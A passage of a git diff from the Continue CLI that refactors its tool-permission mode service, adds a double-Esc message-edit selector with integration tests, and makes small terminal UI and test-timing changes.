Stable callback for TextBuffer state changes to prevent race conditions const onStateChange = useCallback(() => { @@ -190,17 +196,17 @@ const UserInput: React.FC = ({ // Cycle through permission modes const cycleModes = async () => { const modes: PermissionMode[] = ["normal", "plan", "auto"]; - const currentMode = modeService.getCurrentMode(); + const currentMode = services.toolPermissions.getCurrentMode(); const currentIndex = modes.indexOf(currentMode); const nextIndex = (currentIndex + 1) % modes.length; const nextMode = modes[nextIndex]; - modeService.switchMode(nextMode); + services.toolPermissions.switchMode(nextMode); // Update the service container with the new tool permissions state // Since TOOL_PERMISSIONS was registered with registerValue(), we need to // update its value directly rather than reloading from a factory - const updatedState = modeService.getToolPermissionService().getState(); + const updatedState = services.toolPermissions.getState(); serviceContainer.set(SERVICE_NAMES.TOOL_PERMISSIONS, updatedState); // Show a brief indicator of the mode change @@ -548,16 +554,14 @@ const UserInput: React.FC = ({ textBuffer.expandAllPasteBlocks(); const submittedText = textBuffer.text.trim(); - if (isWaitingForResponse || isCompacting) { + inputHistory.addEntry(submittedText); + + // We don't queue, we just send in remote mode because the server handles queueing + if (!isRemoteMode && (isWaitingForResponse || isCompacting)) { // Process message later when LLM has responded or compaction is complete - void messageQueue.enqueueMessage( - submittedText, - imageMap, - inputHistory, - ); + void messageQueue.enqueueMessage(submittedText, imageMap); } else { // Submit with images - inputHistory.addEntry(submittedText); onSubmit(submittedText, imageMap); } @@ -624,6 +628,25 @@ const UserInput: React.FC = ({ return true; } + // Handle double Esc to open edit message selector + const now = Date.now(); + if ( + inputMode && + !showSlashCommands && + !showFileSearch && + !showBashMode && + onShowEditSelector && + now - lastEscapePressRef.current < 500 + ) { + // Double escape detected + onShowEditSelector(); + lastEscapePressRef.current = 0; // Reset to prevent triple-escape + return true; + } + + // Track single escape press + lastEscapePressRef.current = now; + return false; }; diff --git a/extensions/cli/src/ui/__tests__/TUIChat.editMessage.test.tsx b/extensions/cli/src/ui/__tests__/TUIChat.editMessage.test.tsx new file mode 100644 index 000000000..9e6a92874 --- /dev/null +++ b/extensions/cli/src/ui/__tests__/TUIChat.editMessage.test.tsx @@ -0,0 +1,277 @@ +import { testBothModes, renderInMode } from "./TUIChat.dualModeHelper.js"; + +/** + * Integration tests for the message edit feature in TUIChat + * + * Tests the full flow: + * 1. Double Esc opens EditMessageSelector + * 2. User navigates and selects a message + * 3. User edits the message + * 4. History is rewound and new message is submitted + * 5. Chat updates correctly + */ + +describe("TUIChat - Message Edit Feature", () => { + testBothModes("double Esc should open edit selector", async (mode) => { + const { lastFrame, stdin } = renderInMode(mode); + + // Verify selector is not open initially + let frame = lastFrame(); + expect(frame).toBeDefined(); + expect(frame).not.toContain("No user messages to edit"); + + // Press Esc twice quickly (within 500ms) + stdin.write("\u001b"); // First Esc + stdin.write("\u001b"); // Second Esc + + // Wait for UI to update + await new Promise((resolve) => setTimeout(resolve, 100)); + + // Verify selector is now open + frame = lastFrame(); + expect(frame).toBeDefined(); + expect(frame).toContain("No user messages to edit"); + }); + + testBothModes("edit selector should handle navigation", async (mode) => { + const { lastFrame, stdin } = renderInMode(mode); + + // Open edit selector (double Esc) + stdin.write("\u001b"); + stdin.write("\u001b"); + await new Promise((resolve) => setTimeout(resolve, 100)); + + // Verify selector is open + let frame = lastFrame(); + expect(frame).toBeDefined(); + expect(frame).toContain("No user messages to edit"); + + // Try navigation keys + stdin.write("j"); // Down + await new Promise((resolve) => setTimeout(resolve, 50)); + + stdin.write("k"); // Up + await new Promise((resolve) => setTimeout(resolve, 50)); + + // Verify selector is still open after navigation + frame = lastFrame(); + expect(frame).toBeDefined(); + expect(frame).toContain("No user messages to edit"); + }); + + testBothModes("edit selector should exit with Esc", async (mode) => { + const { lastFrame, stdin } = renderInMode(mode); + + // Open edit selector + stdin.write("\u001b"); + stdin.write("\u001b"); + await new Promise((resolve) => setTimeout(resolve, 100)); + + // Verify edit selector is open + let frame = lastFrame(); + expect(frame).toBeDefined(); + expect(frame).toContain("No user messages to edit"); + + // Press Esc to exit + stdin.write("\u001b"); + await new Promise((resolve) => setTimeout(resolve, 100)); + + // Verify edit selector is closed + frame = lastFrame(); + expect(frame).toBeDefined(); + expect(frame).not.toContain("No user messages to edit"); + }); + + testBothModes("should handle edit flow without crashing", async (mode) => { + const { lastFrame, stdin } = renderInMode(mode); + + // This test verifies the basic flow doesn't crash + // Actual behavior depends on having chat history + + // Open edit selector + stdin.write("\u001b"); + stdin.write("\u001b"); + await new Promise((resolve) => setTimeout(resolve, 100)); + + // Try to edit (Enter) + stdin.write("\r"); + await new Promise((resolve) => setTimeout(resolve, 50)); + + // Type something + stdin.write("Test edit"); + await new Promise((resolve) => setTimeout(resolve, 50)); + + // Exit without submitting (Esc) + stdin.write("\u001b"); + await new Promise((resolve) => setTimeout(resolve, 100)); + + const frame = lastFrame(); + + // Should not crash + expect(frame).toBeDefined(); + }); + + testBothModes( + "should maintain UI stability during edit operations", + async (mode) => { + const { lastFrame, stdin } = renderInMode(mode); + + // Perform various operations + stdin.write("\u001b"); + stdin.write("\u001b"); // Open edit with separate Esc presses + await new Promise((resolve) => setTimeout(resolve, 100)); + + // Verify selector opened + let frame = lastFrame(); + expect(frame).toBeDefined(); + expect(frame).toContain("No user messages to edit"); + + stdin.write("k"); // Navigate (no-op with 0 messages) + await new Promise((resolve) => setTimeout(resolve, 50)); + + stdin.write("\u001b"); // Close + await new Promise((resolve) => setTimeout(resolve, 100)); + + frame = lastFrame(); + + // UI should remain stable and edit selector should be closed + expect(frame).toBeDefined(); + expect(frame!.length).toBeGreaterThan(0); + expect(frame).not.toContain("No user messages to edit"); + }, + ); +}); + +describe("TUIChat - Edit Selector Navigation", () => { + testBothModes("should handle rapid navigation commands", async (mode) => { + const { lastFrame, stdin } = renderInMode(mode); + + // Open edit selector + stdin.write("\u001b\u001b"); + await new Promise((resolve) => setTimeout(resolve, 100)); + + // Rapid navigation + stdin.write("jjjjkkk"); + await new Promise((resolve) => setTimeout(resolve, 50)); + + const frame = lastFrame(); + + // Should handle rapid input without crashing + expect(frame).toBeDefined(); + }); + + testBothModes("should handle arrow keys in edit selector", async (mode) => { + const { lastFrame, stdin } = renderInMode(mode); + + // Open edit selector + stdin.write("\u001b\u001b"); + await new Promise((resolve) => setTimeout(resolve, 100)); + + // Use arrow keys (ANSI escape sequences) + stdin.write("\u001b[A"); // Up arrow + await new Promise((resolve) => setTimeout(resolve, 50)); + + stdin.write("\u001b[B"); // Down arrow + await new Promise((resolve) => setTimeout(resolve, 50)); + + const frame = lastFrame(); + + // Should handle arrow keys + expect(frame).toBeDefined(); + }); +}); + +describe("TUIChat - Edit Feature Edge Cases", () => { + testBothModes( + "should handle opening edit selector with no chat history", + async (mode) => { + const { lastFrame, stdin } = renderInMode(mode); + + // Try to open edit selector immediately (no history) + stdin.write("\u001b\u001b"); + await new Promise((resolve) => setTimeout(resolve, 100)); + + const frame = lastFrame(); + + // Should either show "no messages" or handle gracefully + expect(frame).toBeDefined(); + expect(frame!.length).toBeGreaterThan(0); + }, + ); + + testBothModes("should handle single Esc (not double)", async (mode) => { + const { lastFrame, stdin } = renderInMode(mode); + + // Single Esc (should not open edit selector) + stdin.write("\u001b"); + await new Promise((resolve) => setTimeout(resolve, 600)); // Wait longer than 500ms threshold + + // Verify selector did not open + let frame = lastFrame(); + expect(frame).toBeDefined(); + expect(frame).not.toContain("No user messages to edit"); + + stdin.write("\u001b"); // Another single Esc after timeout + await new Promise((resolve) => setTimeout(resolve, 100)); + + // Verify selector still did not open + frame = lastFrame(); + expect(frame).toBeDefined(); + expect(frame).not.toContain("No user messages to edit"); + }); + + testBothModes( + "should prevent triple escape from causing issues", + async (mode) => { + const { lastFrame, stdin } = renderInMode(mode); + + // Triple Esc quickly + stdin.write("\u001b\u001b\u001b"); + await new Promise((resolve) => setTimeout(resolve, 100)); + + const frame = lastFrame(); + + // Should handle gracefully (open then close, or just open) + expect(frame).toBeDefined(); + }, + ); +}); + +describe("TUIChat - Edit Feature Compatibility", () => { + testBothModes( + "edit feature should not interfere with normal input", + async (mode) => { + const { lastFrame, stdin } = renderInMode(mode); + + // Type normal input + stdin.write("Hello world"); + await new Promise((resolve) => setTimeout(resolve, 50)); + + const frame = lastFrame(); + + // Should show typed text + expect(frame).toBeDefined(); + // Normal input should work + }, + ); + + testBothModes( + "should not conflict with other Esc-based features", + async (mode) => { + const { lastFrame, stdin } = renderInMode(mode); + + // Type something + stdin.write("test"); + await new Promise((resolve) => setTimeout(resolve, 50)); + + // Single Esc (might clear input or do other things) + stdin.write("\u001b"); + await new Promise((resolve) => setTimeout(resolve, 600)); + + const frame = lastFrame(); + + // Should handle without conflicts + expect(frame).toBeDefined(); + }, + ); +}); diff --git a/extensions/cli/src/ui/__tests__/TUIChat.fileSearch.test.tsx b/extensions/cli/src/ui/__tests__/TUIChat.fileSearch.test.tsx index f8d56a5f0..b38a90cb6 100644 --- a/extensions/cli/src/ui/__tests__/TUIChat.fileSearch.test.tsx +++ b/extensions/cli/src/ui/__tests__/TUIChat.fileSearch.test.tsx @@ -1,4 +1,5 @@ import { renderInMode, testSingleMode } from "./TUIChat.dualModeHelper.js"; +import { waitForNextRender } from "./TUIChat.testHelper.js"; describe("TUIChat - @ File Search Tests", () => { testSingleMode("shows @ character when user types @", "local", async () => { @@ -56,9 +57,8 @@ describe("TUIChat - @ File Search Tests", () => { // Type multiple @ characters stdin.write("@@test"); - // Wait for UI update - await new Promise((resolve) => setTimeout(resolve, 500)); + await waitForNextRender(); const frame = lastFrame(); diff --git a/extensions/cli/src/ui/__tests__/TUIChat.input.test.tsx b/extensions/cli/src/ui/__tests__/TUIChat.input.test.tsx index 35aa50a16..e76c00806 100644 --- a/extensions/cli/src/ui/__tests__/TUIChat.input.test.tsx +++ b/extensions/cli/src/ui/__tests__/TUIChat.input.test.tsx @@ -1,10 +1,12 @@ -import { testBothModes, renderInMode } from "./TUIChat.dualModeHelper.js"; +import { renderInMode, testBothModes } from "./TUIChat.dualModeHelper.js"; +import { waitForNextRender } from "./TUIChat.testHelper.js"; describe("TUIChat - User Input Tests", () => { - testBothModes("shows typed text in input field", (mode) => { + testBothModes("shows typed text in input field", async (mode) => { const { lastFrame, stdin } = renderInMode(mode); stdin.write("Testing 123"); + await waitForNextRender(); const frame = lastFrame(); // The input might be in a different format, let's be more flexible @@ -23,13 +25,14 @@ describe("TUIChat - User Input Tests", () => { testBothModes("handles Enter key to submit", async (mode) => { const { lastFrame, stdin } = renderInMode(mode); + await waitForNextRender(); const beforeEnter = lastFrame(); expect(beforeEnter).toContain("Ask anything"); stdin.write("\r"); // Wait for the UI to update after pressing enter - await new Promise((resolve) => setTimeout(resolve, 50)); + await new Promise((resolve) => setTimeout(resolve, 500)); const afterEnter = lastFrame(); @@ -46,11 +49,12 @@ describe("TUIChat - User Input Tests", () => { testBothModes( "handles special characters in input without crashing", - (mode) => { + async (mode) => { const { lastFrame, stdin } = renderInMode(mode); // Try typing various special characters stdin.write("!@#$%^&*()"); + await waitForNextRender(); const frame = lastFrame(); @@ -58,8 +62,9 @@ describe("TUIChat - User Input Tests", () => { expect(frame).toBeDefined(); expect(frame).not.toBe(""); - // UI should still be functional - expect(frame).toContain("Ask anything"); + // UI should still be functional and show the typed special characters + // Note: "Ask anything" placeholder is replaced when text is typed + expect(frame).toContain("!@#$%^&*()"); // Mode-specific UI elements if (mode === "remote") { diff --git a/extensions/cli/src/ui/__tests__/TUIChat.permissionPolicyReload.test.tsx b/extensions/cli/src/ui/__tests__/TUIChat.permissionPolicyReload.test.tsx index 1b60203c9..c29727401 100644 --- a/extensions/cli/src/ui/__tests__/TUIChat.permissionPolicyReload.test.tsx +++ b/extensions/cli/src/ui/__tests__/TUIChat.permissionPolicyReload.test.tsx @@ -1,21 +1,7 @@ -import { vi, beforeEach, describe, it, expect } from "vitest"; +import { beforeEach, describe, expect, it, vi } from "vitest"; -// Mock the services -const mockToolPermissionService = { - reloadPermissions: vi.fn(), - getState: vi.fn(), - getCurrentMode: vi.fn(() => "normal"), -}; - -const mockServices = { - mode: { - getToolPermissionService: vi.fn(() => mockToolPermissionService), - }, -}; - -vi.mock("../../services/index.js", () => ({ - services: mockServices, -})); +import { services } from "../../services/index.js"; +vi.mock("../../services/index.js"); // Mock the permission system vi.mock("../../permissions/policyWriter.js", () => ({ @@ -63,7 +49,7 @@ describe("Permission Policy Reload Workflow", () => { await addPolicyToYaml(policyRule); // This is the key part we're testing - reload should be called - await services.mode.getToolPermissionService().reloadPermissions(); + await services.toolPermissions.reloadPermissions(); } catch (error) { // Handle errors gracefully } @@ -76,7 +62,7 @@ describe("Permission Policy Reload Workflow", () => { expect(addPolicyToYaml).toHaveBeenCalledWith( "tool: Edit\npermission: allow", ); - expect(mockToolPermissionService.reloadPermissions).toHaveBeenCalled(); + expect(services.toolPermissions.reloadPermissions).toHaveBeenCalled(); }); it("should handle permission reload failure gracefully", async () => { @@ -90,7 +76,7 @@ describe("Permission Policy Reload Workflow", () => { vi.mocked(addPolicyToYaml).mockResolvedValue(undefined); // Mock reloadPermissions to fail - mockToolPermissionService.reloadPermissions.mockRejectedValue( + vi.mocked(services.toolPermissions.reloadPermissions).mockRejectedValue( new Error("Reload failed"), ); @@ -118,7 +104,7 @@ describe("Permission Policy Reload Workflow", () => { await addPolicyToYaml(policyRule); // This should fail but not break the flow - await services.mode.getToolPermissionService().reloadPermissions(); + await services.toolPermissions.reloadPermissions(); } catch (error) { // Error should be caught and handled gracefully errorCaught = true; @@ -127,7 +113,7 @@ describe("Permission Policy Reload Workflow", () => { // Verify that despite the reload failure, the policy was still created expect(addPolicyToYaml).toHaveBeenCalled(); - expect(mockToolPermissionService.reloadPermissions).toHaveBeenCalled(); + expect(services.toolPermissions.reloadPermissions).toHaveBeenCalled(); expect(errorCaught).toBe(true); }); @@ -142,7 +128,9 @@ describe("Permission Policy Reload Workflow", () => { vi.mocked(addPolicyToYaml).mockResolvedValue(undefined); // Mock successful reload - mockToolPermissionService.reloadPermissions.mockResolvedValue(undefined); + vi.mocked(services.toolPermissions.reloadPermissions).mockResolvedValue( + undefined, + ); const mockActiveRequest = { toolName: "Edit", @@ -167,13 +155,13 @@ describe("Permission Policy Reload Workflow", () => { ); await addPolicyToYaml(policyRule); - await services.mode.getToolPermissionService().reloadPermissions(); + await services.toolPermissions.reloadPermissions(); } // AFTER: Policy is now active without restart // Next time user tries to edit a file, it should be automatically allowed - expect(mockToolPermissionService.reloadPermissions).toHaveBeenCalled(); + expect(services.toolPermissions.reloadPermissions).toHaveBeenCalled(); // This represents the improvement: the new policy takes effect immediately // without requiring the user to restart the Continue CLI diff --git a/extensions/cli/src/ui/__tests__/TUIChat.planModeBug.test.tsx b/extensions/cli/src/ui/__tests__/TUIChat.planModeBug.test.tsx index 77b8161ba..90d5fedf9 100644 --- a/extensions/cli/src/ui/__tests__/TUIChat.planModeBug.test.tsx +++ b/extensions/cli/src/ui/__tests__/TUIChat.planModeBug.test.tsx @@ -2,13 +2,10 @@ import { render } from "ink-testing-library"; import React from "react"; import { afterEach, beforeEach, describe, expect, it } from "vitest"; -import { getAllTools } from "src/stream/handleToolCalls.js"; - -import { SERVICE_NAMES, serviceContainer } from "../../services/index.js"; -import { modeService } from "../../services/ModeService.js"; +import { services } from "../../services/index.js"; import { createUITestContext } from "../../test-helpers/ui-test-context.js"; import { AppRoot } from "../AppRoot.js"; - +const toolPermissionService = services.toolPermissions; describe("TUIChat - Plan Mode Bug Reproduction", () => { let context: any; @@ -20,7 +17,9 @@ describe("TUIChat - Plan Mode Bug Reproduction", () => { }); // Ensure mode service is properly initialized in normal mode - await modeService.initialize({}); + await toolPermissionService.doInitialize({ + mode: "normal", + }); }); afterEach(() => { @@ -136,45 +135,4 @@ describe("TUIChat - Plan Mode Bug Reproduction", () => { unmount(); } }); - - it.skip("reproduces the 'ToolPermissionService not initialized' error when switching modes", async () => { - // This test specifically tests the service container interaction - // that causes the actual bug in production - - // First, set up a realistic service state (not mocked) - await modeService.initialize({ isHeadless: false }); - - // Register the tool permissions service like the real app does - const initialState = modeService.getToolPermissionService().getState(); - serviceContainer.registerValue( - SERVICE_NAMES.TOOL_PERMISSIONS, - initialState, - ); - - // Verify initial state works - expect(() => getAllTools()).not.toThrow(); - - // Switch modes WITHOUT updating the service container (this simulates the bug) - modeService.switchMode("plan"); - - // The service container still has the old state, so getAllTools() should not find - // the updated state with plan mode permissions. However, since the ToolPermissionService - // overrides isReady() to always return true, getAllTools() will actually work. - // The real bug would manifest when the service container has an out-of-sync state. - - // To reproduce the ACTUAL bug, we need to simulate the case where the service - // container has a stale state that doesn't match the ToolPermissionService - const staleState = { ...initialState, currentMode: "normal" as const }; - serviceContainer.set(SERVICE_NAMES.TOOL_PERMISSIONS, staleState); - - // Now getAllTools() should work because it gets the service state from the container - // and the container has a valid state (even if it's stale) - const tools = getAllTools(); - expect(tools).toBeDefined(); - expect(Array.isArray(tools)).toBe(true); - - // But the tools returned will be for "normal" mode, not "plan" mode - // In plan mode, many tools should be excluded, but with stale normal state, all tools are available - const planModeState = modeService.getToolPermissionService().getState(); - }); }); diff --git a/extensions/cli/src/ui/__tests__/TUIChat.slashCommands.test.tsx b/extensions/cli/src/ui/__tests__/TUIChat.slashCommands.test.tsx index 9e67826c5..1f63f3814 100644 --- a/extensions/cli/src/ui/__tests__/TUIChat.slashCommands.test.tsx +++ b/extensions/cli/src/ui/__tests__/TUIChat.slashCommands.test.tsx @@ -1,4 +1,5 @@ import { renderInMode, testBothModes } from "./TUIChat.dualModeHelper.js"; +import { waitForNextRender } from "./TUIChat.testHelper.js"; describe("TUIChat - Slash Commands Tests", () => { testBothModes("shows slash when user types /", async (mode) => { @@ -6,9 +7,7 @@ describe("TUIChat - Slash Commands Tests", () => { // Type / to trigger slash command stdin.write("/"); - - // Wait a bit for the UI to update - await new Promise((resolve) => setTimeout(resolve, 200)); + await waitForNextRender(); const frame = lastFrame(); @@ -29,9 +28,7 @@ describe("TUIChat - Slash Commands Tests", () => { // Type /exi to trigger slash command filtering stdin.write("/exi"); - - // Wait a bit for the UI to update (allow extra time in both modes) - await new Promise((resolve) => setTimeout(resolve, 600)); + await waitForNextRender(); const frame = lastFrame(); @@ -52,12 +49,10 @@ describe("TUIChat - Slash Commands Tests", () => { // Type /exi and then tab stdin.write("/exi"); - - await new Promise((resolve) => setTimeout(resolve, 200)); + await waitForNextRender(); stdin.write("\t"); - - await new Promise((resolve) => setTimeout(resolve, 200)); + await waitForNextRender(); const frameAfterTab = lastFrame(); @@ -80,8 +75,7 @@ describe("TUIChat - Slash Commands Tests", () => { // Type just / stdin.write("/"); - - await new Promise((resolve) => setTimeout(resolve, 600)); + await waitForNextRender(); const frame = lastFrame(); @@ -113,8 +107,7 @@ describe("TUIChat - Slash Commands Tests", () => { // Type a complete command name first stdin.write("/title"); - - await new Promise((resolve) => setTimeout(resolve, 200)); + await waitForNextRender(); const frameAfterCommand = lastFrame(); if (mode === "remote") { @@ -127,8 +120,7 @@ describe("TUIChat - Slash Commands Tests", () => { // Now add a space and arguments stdin.write(" My Session Title"); - - await new Promise((resolve) => setTimeout(resolve, 200)); + await waitForNextRender(); const frameAfterArgs = lastFrame(); @@ -151,8 +143,7 @@ describe("TUIChat - Slash Commands Tests", () => { // Type a complete command with arguments stdin.write("/title Test Session"); - - await new Promise((resolve) => setTimeout(resolve, 200)); + await waitForNextRender(); const frameBeforeEnter = lastFrame(); expect(frameBeforeEnter).toContain("/title"); @@ -160,8 +151,7 @@ describe("TUIChat - Slash Commands Tests", () => { // Press Enter - this should execute the command, not try to autocomplete stdin.write("\r"); - - await new Promise((resolve) => setTimeout(resolve, 300)); + await waitForNextRender(); const frameAfterEnter = lastFrame(); diff --git a/extensions/cli/src/ui/__tests__/TUIChat.testHelper.ts b/extensions/cli/src/ui/__tests__/TUIChat.testHelper.ts index e450b809a..37ebb5c3e 100644 --- a/extensions/cli/src/ui/__tests__/TUIChat.testHelper.ts +++ b/extensions/cli/src/ui/__tests__/TUIChat.testHelper.ts @@ -422,6 +422,20 @@ export async function sendMessage( await new Promise((resolve) => setTimeout(resolve, waitTime)); } +/** + * Helper to wait for next render cycle to complete + * Use this after stdin.write() to ensure at least one render has occurred + * This prevents flaky tests caused by calling lastFrame() before React renders + */ +export async function waitForNextRender(): Promise { + // Wait for multiple ticks to ensure render completes + await new Promise((resolve) => setImmediate(resolve)); + await new Promise((resolve) => setImmediate(resolve)); + // Add a delay to allow Ink terminal UI to render + // CI environments are slower, so we need a longer delay + await new Promise((resolve) => setTimeout(resolve, 500)); +} + /** * Helper to check if UI shows remote mode indicators */ diff --git a/extensions/cli/src/ui/components/ActionStatus.tsx b/extensions/cli/src/ui/components/ActionStatus.tsx index ce4542cb6..a12b3d649 100644 --- a/extensions/cli/src/ui/components/ActionStatus.tsx +++ b/extensions/cli/src/ui/components/ActionStatus.tsx @@ -18,7 +18,7 @@ const ActionStatus: React.FC = ({ startTime, message, showSpinner = false, - color = "gray", + color = "dim", loadingColor = "green", }) => { if (!visible) return null; @@ -27,9 +27,9 @@ const ActionStatus: React.FC = ({ {showSpinner && } {message} - ( + ( - • esc to interrupt ) + • esc to interrupt ) ); }; diff --git a/extensions/cli/src/ui/components/BottomStatusBar.tsx b/extensions/cli/src/ui/components/BottomStatusBar.tsx index d874dba11..0dc6d2c2c 100644 --- a/extensions/cli/src/ui/components/BottomStatusBar.tsx +++ b/extensions/cli/src/ui/components/BottomStatusBar.tsx @@ -64,7 +64,7 @@ export const BottomStatusBar: React.FC = ({ )} - {contextPercentage !== undefined && contextPercentage > 75 && ( + {contextPercentage !== undefined && contextPercentage > 0 && ( {" "} diff --git a/extensions/cli/src/ui/components/ChatScreenContent.tsx b/extensions/cli/src/ui/components/ChatScreenContent.tsx new file mode 100644 index 000000000..7c3225da6 --- /dev/null +++ b/extensions/cli/src/ui/components/ChatScreenContent.tsx @@ -0,0 +1,76 @@ +import type { AssistantConfig } from "@continuedev/sdk"; +import React from "react"; + +import type { ActivePermissionRequest } from "../hooks/useChat.types.js"; +import { UserInput } from "../UserInput.js"; + +import { ToolPermissionSelector } from "./ToolPermissionSelector.js"; + +interface ChatScreenContentProps { + activePermissionRequest: ActivePermissionRequest | null; + handleToolPermissionResponse: ( + requestId: string, + approved: boolean, + createPolicy?: boolean, + stopStream?: boolean, + ) => void; + handleUserMessage: (message: string, imageMap?: Map) => void; + isWaitingForResponse: boolean; + isCompacting: boolean; + inputMode: boolean; + handleInterrupt: () => void; + assistant?: AssistantConfig; + wasInterrupted: boolean; + handleFileAttached: (filePath: string, content: string) => void; + isInputDisabled: boolean; + isRemoteMode: boolean; + onImageInClipboardChange?: (hasImage: boolean) => void; + onShowEditSelector?: () => void; +} + +export const ChatScreenContent: React.FC = ({ + activePermissionRequest, + handleToolPermissionResponse, + handleUserMessage, + isWaitingForResponse, + isCompacting, + inputMode, + handleInterrupt, + assistant, + wasInterrupted, + handleFileAttached, + isInputDisabled, + isRemoteMode, + onImageInClipboardChange, + onShowEditSelector, +}) => { + if (activePermissionRequest) { + return ( + + ); + } + + return ( + + ); +}; diff --git a/extensions/cli/src/ui/components/ChecklistDisplay.test.tsx b/extensions/cli/src/ui/components/ChecklistDisplay.test.tsx new file mode 100644 index 000000000..dbbe0245c --- /dev/null +++ b/extensions/cli/src/ui/components/ChecklistDisplay.test.tsx @@ -0,0 +1,63 @@ +import { render } from "ink-testing-library"; +import React from "react"; + +import { ChecklistDisplay } from "./ChecklistDisplay.js"; + +describe("ChecklistDisplay", () => { + it("should highlight the first incomplete item", () => { + const content = `Task list status: +- [x] Completed task +- [ ] First incomplete task +- [ ] Second incomplete task`; + + const { lastFrame } = render(); + const output = lastFrame(); + + // The output should contain the checkbox symbols and text + expect(output).toContain("✓"); + expect(output).toContain("○"); + expect(output).toContain("Completed task"); + expect(output).toContain("First incomplete task"); + expect(output).toContain("Second incomplete task"); + }); + + it("should handle empty checklist", () => { + const content = "Task list status:"; + + const { lastFrame } = render(); + const output = lastFrame(); + + expect(output).toBeDefined(); + }); + + it("should handle all completed tasks", () => { + const content = `Task list status: +- [x] Completed task 1 +- [x] Completed task 2`; + + const { lastFrame } = render(); + const output = lastFrame(); + + expect(output).toContain("✓"); + expect(output).toContain("Completed task 1"); + expect(output).toContain("Completed task 2"); + }); + + it("should handle mixed content with headers", () => { + const content = `Task list status: +## Important Tasks +- [x] Done task +- [ ] Todo task + +## Other Tasks +- [ ] Another todo`; + + const { lastFrame } = render(); + const output = lastFrame(); + + expect(output).toContain("Important Tasks"); + expect(output).toContain("Other Tasks"); + expect(output).toContain("✓"); + expect(output).toContain("○"); + }); +}); diff --git a/extensions/cli/src/ui/components/ChecklistDisplay.tsx b/extensions/cli/src/ui/components/ChecklistDisplay.tsx index 926a4193f..458e3a7cb 100644 --- a/extensions/cli/src/ui/components/ChecklistDisplay.tsx +++ b/extensions/cli/src/ui/components/ChecklistDisplay.tsx @@ -13,6 +13,17 @@ export const ChecklistDisplay: React.FC = ({ }) => { const lines = content.split("\n"); + // Find the index of the first incomplete checkbox item + let firstIncompleteIndex = -1; + for (let i = 0; i < lines.length; i++) { + const line = lines[i]; + const checkboxMatch = line.match(/^(\s*)-\s*\[([ x])\]\s*(.*)$/); + if (checkboxMatch && checkboxMatch[2] === " ") { + firstIncompleteIndex = i; + break; + } + } + return ( {lines.map((line, index) => { @@ -25,6 +36,7 @@ export const ChecklistDisplay: React.FC = ({ if (checkboxMatch) { const [, indent, status, taskText] = checkboxMatch; const isCompleted = status === "x"; + const isFirstIncomplete = index === firstIncompleteIndex; return ( @@ -34,8 +46,11 @@ export const ChecklistDisplay: React.FC = ({ {taskText} diff --git a/extensions/cli/src/ui/components/ContextPercentageDisplay.tsx b/extensions/cli/src/ui/components/ContextPercentageDisplay.tsx index c1e53a6a0..94894e104 100644 --- a/extensions/cli/src/ui/components/ContextPercentageDisplay.tsx +++ b/extensions/cli/src/ui/components/ContextPercentageDisplay.tsx @@ -7,14 +7,12 @@ interface ContextPercentageDisplayProps { /** * Component to display the current context usage percentage - * Shows the percentage in gray color for consistency with other status indicators - * Only displays when percentage exceeds 75% threshold + * Shows the non-zero percentage in gray color for consistency with other status indicators */ export const ContextPercentageDisplay: React.FC< ContextPercentageDisplayProps > = ({ percentage }) => { - // Only show if percentage is greater than 75% - if (percentage <= 75) { + if (percentage === 0) { return null; } diff --git a/extensions/cli/src/ui/components/MemoizedMessage.tsx b/extensions/cli/src/ui/components/MemoizedMessage.tsx index 8a38778bf..7ff592439 100644 --- a/extensions/cli/src/ui/components/MemoizedMessage.tsx +++ b/extensions/cli/src/ui/components/MemoizedMessage.tsx @@ -56,16 +56,9 @@ export const MemoizedMessage = memo( // Handle system messages if (isSystem) { - // TODO: Properly separate LLM system messages from UI informational messages - // using discriminated union types. For now, skip displaying the first system - // message which is typically the LLM's system prompt. - if (index === 0) { - return null; - } - return ( - + {message.content} @@ -116,24 +109,28 @@ export const MemoizedMessage = memo( flexDirection="column" marginBottom={1} > - - - {isCompleted || isErrored ? "●" : "○"} - - - {" "} - - + + + + {isCompleted || isErrored ? "●" : "○"} + + + + + {" "} + + + {isErrored ? ( @@ -170,7 +167,7 @@ export const MemoizedMessage = memo( {hideBullet ? " " : "●"} {isUser ? ( - + {formatMessageContentForDisplay(message.content)} ) : ( @@ -178,7 +175,7 @@ export const MemoizedMessage = memo( content={formatMessageContentForDisplay(message.content)} /> )} - {isStreaming && ▋} + {isStreaming && ▋} ); }, diff --git a/extensions/cli/src/ui/components/ModeIndicator.test.tsx b/extensions/cli/src/ui/components/ModeIndicator.test.tsx index a341e826f..6301c2204 100644 --- a/extensions/cli/src/ui/components/ModeIndicator.test.tsx +++ b/extensions/cli/src/ui/components/ModeIndicator.test.tsx @@ -1,15 +1,21 @@ import { render } from "ink-testing-library"; import React from "react"; -import { describe, expect, it, beforeEach } from "vitest"; +import { beforeEach, describe, expect, it } from "vitest"; -import { modeService } from "../../services/ModeService.js"; +import { initializeServices, services } from "src/services/index.js"; import { ModeIndicator } from "./ModeIndicator.js"; describe("ModeIndicator", () => { - beforeEach(() => { + const toolPermissionService = services.toolPermissions; + beforeEach(async () => { // Reset to normal mode for each test - modeService.initialize({}); + await initializeServices({ + headless: true, + toolPermissionOverrides: { + mode: "normal", + }, + }); }); describe("mode display", () => { @@ -29,13 +35,13 @@ describe("ModeIndicator", () => { }); it("should use current mode from service when no mode prop provided", () => { - modeService.switchMode("plan"); + toolPermissionService.switchMode("plan"); const { lastFrame } = render(); expect(lastFrame()).toContain("plan]"); }); it("should prioritize mode prop over service mode", () => { - modeService.switchMode("plan"); + toolPermissionService.switchMode("plan"); const { lastFrame } = render(); expect(lastFrame()).toContain("auto]"); }); @@ -49,17 +55,17 @@ describe("ModeIndicator", () => { expect(lastFrame()).toBe(""); // Switch to plan - modeService.switchMode("plan"); + toolPermissionService.switchMode("plan"); rerender(); expect(lastFrame()).toContain("plan]"); // Switch to auto - modeService.switchMode("auto"); + toolPermissionService.switchMode("auto"); rerender(); expect(lastFrame()).toContain("auto]"); // Switch back to normal - modeService.switchMode("normal"); + toolPermissionService.switchMode("normal"); rerender(); expect(lastFrame()).toBe(""); }); diff --git a/extensions/cli/src/ui/components/ModeIndicator.tsx b/extensions/cli/src/ui/components/ModeIndicator.tsx index 05833df68..30cbd558c 100644 --- a/extensions/cli/src/ui/components/ModeIndicator.tsx +++ b/extensions/cli/src/ui/components/ModeIndicator.tsx @@ -1,38 +1,21 @@ import { Text } from "ink"; -import React, { useEffect, useState } from "react"; +import React from "react"; + +import { useServices } from "src/hooks/useService.js"; +import { ToolPermissionServiceState } from "src/services/ToolPermissionService.js"; +import { SERVICE_NAMES } from "src/services/types.js"; import type { 